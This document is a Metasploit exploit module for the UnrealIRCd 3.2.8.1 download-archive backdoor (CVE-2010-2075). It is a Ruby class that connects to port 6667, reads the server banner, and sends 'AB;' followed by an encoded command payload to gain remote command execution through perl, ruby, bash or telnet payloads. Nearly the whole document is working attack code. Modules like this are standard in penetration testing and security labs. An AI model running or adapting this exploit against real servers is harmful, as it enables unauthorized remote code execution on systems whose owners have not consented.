UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)

##
# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the
				Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
				Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11227 $',
			'References'     =>
				[
					[ 'CVE', '2010-2075' ],
					[ 'OSVDB', '65445' ],
					[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 12 2010'))

		register_options(
			[
				Opt::RPORT(6667)
			], self.class)
	end

	def exploit
		connect

		print_status("Connected to #{rhost}:#{rport}...")
		banner = sock.get_once(-1, 30)
		banner.to_s.split("\n").each do |line|
			print_line("    #{line}")
		end

		print_status("Sending backdoor command...")
		sock.put("AB;" + payload.encoded + "\n")

		handler
		disconnect
	end
end